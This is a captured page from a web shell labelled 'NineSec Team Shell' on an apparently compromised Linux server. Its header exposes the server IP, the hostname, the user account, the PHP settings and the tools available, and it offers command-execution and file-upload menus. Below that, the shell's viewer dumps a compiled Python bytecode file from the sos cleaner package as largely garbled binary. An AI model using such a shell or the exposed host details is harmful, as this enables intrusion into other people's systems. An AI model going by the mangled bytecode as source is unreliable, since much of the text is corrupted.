NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python3.6/site-packages/sos/cleaner/mappings/__pycache__/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python3.6/site-packages/sos/cleaner/mappings/__pycache__/__init__.cpython-36.pyc
3

~�g
�@s&ddlZddlmZGdd�d�ZdS)�N)�Lockc@sdeZdZdZgZgZdZdZdZdd�Z	dd�Z
dd	�Zd
d�Zdd
�Z
dd�Zdd�Zdd�ZdS)�SoSMapz�Standardized way to store items with their obfuscated counterparts.

    Each type of sanitization that SoSCleaner supports should have a
    corresponding SoSMap() object, to allow for easy retrieval of obfuscated
    items.
    TFcCs i|_t�|_g|_t�|_dS)N)�dataset�set�
_regexes_made�compiled_regexesr�lock)�self�r
�/usr/lib/python3.6/__init__.py�__init__szSoSMap.__init__cCs\|s0||jks0||jj�ks0|jr4t|�dkr4dSx"|jD]}tj||tj�r<dSq<WdS)z�Some items need to be completely ignored, for example link-local or
        loopback addresses should not be obfuscated
        �TF)	�	skip_keysr�values�ignore_short_items�len�ignore_matches�re�match�I)r	�item�skipr
r
r�ignore_item%szSoSMap.ignore_itemc
CsJ|j|�r|S|j�,|j|�|j|<|jr6|j|�|j|SQRXdS)z�Add a particular item to the map, generating an obfuscated pair
        for it.

        Positional arguments:

            :param item:        The plaintext object to obfuscate
        N)rr�
sanitize_itemr�compile_regexes�add_regex_item)r	rr
r
r�add1s

z
SoSMap.addcCsR|j|�rdS||jkrN|jj|�|jj||j|�f�|jjdd�dd�dS)z�Add an item to the regexes dict and then re-sort the list that the
        parsers will use during parse_line()

        :param item:    The unobfuscated item to generate a regex for
        :type item:     ``str``
        NcSst|d�S)Nr)r)�xr
r
r�<lambda>Vsz'SoSMap.add_regex_item.<locals>.<lambda>T)�key�reverse)rrrr�append�get_regex_result�sort)r	rr
r
rrAs

zSoSMap.add_regex_itemcCs2|jrdtj|��d�}n
tj|�}tj|tj�S)a9Generate the object/value that is used by the parser when iterating
        over pre-generated regexes during parse_line(). For most parsers this
        will simply be a ``re.Pattern()`` object, but for more complex parsers
        this can be overridden to provide a different object, e.g. a tuple,
        for that parer's specific iteration needs.

        :param item:    The unobfuscated string to generate the regex for
        :type item:     ``str``

        :returns:       A compiled regex pattern for the item
        :rtype:         ``re.Pattern``
        z
(?<![a-z0-9])z
(?=\b|_|-))�match_full_words_onlyr�escape�compiler)r	rr
r
rr"Xs

zSoSMap.get_regex_resultcCs|S)z�Perform the obfuscation relevant to the item being added to the map.

        This should be overridden by each type of map that subclasses SoSMap

        Positional arguments:

            :param item:        The plaintext object to obfuscate
        r
)r	rr
r
rrks	zSoSMap.sanitize_itemcCs,|j|�r|S||jkr"|j|�S|j|S)z�Retrieve an item's obfuscated counterpart from the map. If the item
        does not yet exist in the map, add it by generating one on the fly
        )rrr)r	rr
r
r�getvs



z
SoSMap.getcCs|jj|�dS)a%Update the map using information from a previous run to ensure that
        we have consistent obfuscation between reports

        Positional arguments:

            :param config:    A dict of mappings with the form of
                              {clean_entry: 'obfuscated_entry'}
        N)r�update)r	�configr
r
r�conf_update�s	zSoSMap.conf_updateN)�__name__�
__module__�__qualname__�__doc__rrrrr$rrrrr"rr'r*r
r
r
rrs
r)rZ	threadingrrr
r
r
r�<module>s

NineSec Team - 2022